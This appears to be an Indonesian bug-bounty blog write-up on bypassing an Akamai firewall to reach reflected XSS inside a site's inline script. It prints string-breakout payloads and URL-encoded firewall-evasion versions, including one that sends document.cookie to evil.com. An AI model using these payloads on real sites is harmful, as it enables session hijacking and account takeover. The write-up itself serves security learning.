Disclaimer
Tulisan ini ditulis pada tanggal 13 Juli 2022. Jika anda menemukan website yang sama dan mencoba payload yang saya gunakan tidak berhasil, itu memungkinkan payload yang saya gunakan hanya berfungsi pada beberapa website atau bahkan mereka telah melakukan patching pada payload yang saya gunakan tersebut.
Introduction
pada tulisan ini saya akan membahas bagaimana cara saya membypass Web Application Firewall (WAF) serta mengetahui potensi yang akan terjadi ketika tidak diterapkannya input validation terhadap karakter berbahaya.
Let’s start !
Disini saya menemukan sebuah situs yang menurut saya cukup menarik dan situs tersebut membuka sebuah program bug bounty. Pada tahap awal saya melakukan Information Gathering (Subdomain Enum, WaybackURL, Portscanning, etc). Ketika proses Information Gathering saya menemukan dan tertarik terhadap URL
https://redacted.com/path/path/?search?text=
Gambar diatas tersebut merupakan response dari url tersebut, url tersebut berfungsi untuk melakukan pencarian terhadap konten pada situs tersebut. pada awalnya saya masih berfikir bahwa situs tersebut tidak memiliki WAF sehingga saya mencoba menyisipkan karakter seperti () <> “ = untuk mengecheck apakah pada fungsi tersebut menerapkan validasi/filtering input atau tidak.
Pada gambar diatas diketahui bahwa karakter yang saya kirimkan ditampilkan melalui meta tag, title, serta didalam script tag javascript
- Pada tag meta, terdapat beberapa karakter yang saya kirimkan terhapus diantaranya adalah <> dan “
- Pada tag title, terdapat beberapa karakter yang saya kirimkan terhapus dan berubah menjadi karakter entities
- Pada tag javascript, terdapat karakter yang terhapus yaitu <>
Disini saya tertarik pada karakter yang ditampilkan pada script didalam tag javascript.
Selanjutnya saya mencoba untuk menggunakan payload berikut ini untuk mentrigger xss
“</script><script>alert()</script>
Dengan harapan payload tersebut menutup bagian “ kemudian tag </script> untuk menutup tag <script> awal selanjutnya dilanjutkan dengan <script>alert()</script>
Disini terdapat perbedaan response header, setelah merngirimkan payload tersebut saya mendapatkan response 403 Forbidden dan seperti yang dapat dilihat pada gambar tersebut. Jika kita lihat pada response 200 sebelumnya menampilkan informasi Server : * setelah terdeteksi dengan response 403 server tersebut berubah menjadi Server: AkamaiGHost. disini saya menyimpulkan bahwa situs tersebut menggunakan atau terproteksi oleh Akamai. Akan tetapi saya memiliki kecurigaan terhadap hal tersebut, dimana karakter yang saya inputkan <>()”= tidak terdeteksi oleh WAF ¯\_(ツ)_/¯
CONFUSED (CAN I BYPASS IT?)
Saya baru ingat bahwa Pada tag javascript menghilangkan karakter <> lantas mengapa saya menggunakan </script><script>alert()</script> untuk mendapatkan XSS lol xD
Mari kita mencoba memahami terlebih dahulu tentang definisi dan impact Cross Site Scripting
Definisi :
Cross Site Scripting merupakan sebuah teknik atau metode serangan dengan menyisipkan malicious code berupa javascript
Impact :
- Account Takeover
- Defacing
- Pencurian data
Dari sini saya dapat menyimpulkan bahwa tujuan dari Cross Site Scripting diantaranya adalah Account Takeover, Defacing, serta Pencurian data.
Cross Site Scripting is not about showing alert
<script>alert(“f*ck”)</script>
Setelah menyalakan sebatang rokok, saya mendapatkan ide yang menarik. Karena saya berfokus pada input yang ditampilkan melalui script didalam tag javascript saya tidak perlu menggunakan tag <script> atau pun html attribute untuk menjalankan javascript. Selanjutnya saya mencoba untuk menganalisa kode javascript tersebut
wiredminds.push([“setTrackParam”, “wm_ref”, “http://wmisearch.de?q=IS-searchme"]);
wiredminds.push([“setTrackParam”, “wm_sname”, “ “]);
perlu diketahui bahwa setelah inputan (searchme) terdapat karakter “]); ini difungsikan untuk menutup string, array, function, serta diakhiri dengan titik koma (;)
pertama yang harus saya lakukan adalah menyisipkan karakter “]); untuk menutup string,array,function kemudian dilanjutkan dengan malicious script yang saya buat dan kemudian agar script tersebut tidak error dilanjutkan dengan wiredminds.push([“setTrackParam”, “wm_ref”, “http://wmisearch.de?q=IS-
sehingga payload tersebut adalah
“]);window.location.href=”http://evil.com";wiredminds.push(["setTrackParam", “wm_ref”, “http://wmisearch.de?q=IS-
Sehingga dari ekspetasi saya yang akan ditampilkan nantinya adalah
wiredminds.push([“setTrackParam”, “wm_ref”, “http://wmisearch.de?q=IS- searchme”]);
window.location.href=”http://evil.com";
wiredminds.push([“setTrackParam”, “wm_ref”, “http://wmisearch.de?q=IS-"]);wiredminds.push([“setTrackParam”, “wm_sname”, “ “]);
Yang saya dapatkan adalah 400 bad request. Mari kita coba untuk melakukan url encoding terhadap payload tersebut
“]);window.location.href=”http://evil.com";wiredminds.push(["setTrackParam", “wm_ref”, “http://wmisearch.de?q=IS-
menjadi
%22%5d%29%3b%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%22%3b%77%69%72%65%64%6d%69%6e%64%73%2e%70%75%73%68%28%5b%22%73%65%74%54%72%61%63%6b%50%61%72%61%6d%22%2c%20%22%77%6d%5f%72%65%66%22%2c%20%22%68%74%74%70%3a%2f%2f%77%6d%69%73%65%61%72%63%68%2e%64%65%3f%71%3d%49%53%2d
GOTCHAAAAA I GOT IT!!
Selanjutnya saya akan mencoba untuk stealing cookie dengan menggunakan payload
“]);window.location.href=”http://evil.com/?c="+document.cookie;wiredminds.push(["setTrackParam", “wm_ref”, “http://wmisearch.de?q=IS-
menjadi
%22%5d%29%3b%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%22%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%77%69%72%65%64%6d%69%6e%64%73%2e%70%75%73%68%28%5b%22%73%65%74%54%72%61%63%6b%50%61%72%61%6d%22%2c%20%22%77%6d%5f%72%65%66%22%2c%20%22%68%74%74%70%3a%2f%2f%77%6d%69%73%65%61%72%63%68%2e%64%65%3f%71%3d%49%53%2d
seperti yang dapat dilihat pada gambar dibawah ini saya mencoba untuk mengetes payload tersebut pada akamai.com dan response dari payload yang saya sisipkan tersebut 200 OK
Penutup
pada artikel kali ini kita sudah memahami impact dan konsep dasar dari Cross Site Scripting (XSS). semoga dengan adanya artikel kali ini bisa membantu Cyber Security Indonesia menjadi lebih baik.